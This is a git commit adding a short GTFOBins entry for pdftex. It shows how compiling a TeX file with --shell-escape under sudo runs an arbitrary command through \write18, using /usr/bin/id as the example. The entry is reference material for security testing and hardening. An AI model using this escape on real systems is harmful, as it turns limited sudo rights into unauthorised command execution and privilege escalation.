Create pdftex.md

Add pdftex.
This commit is contained in:
SynackCerv 2021-04-22 22:13:29 +02:00 committed by GitHub
parent 8c08101fed
commit f0d733ef91
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

6
_gtfobins/pdftex.md Normal file
View File

@ -0,0 +1,6 @@
description: `pdftex` has a similar behaviour as [`tex`](/gtfobins/tex/)
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
pdftex -interaction=nonstopmode --shell-escape file.tex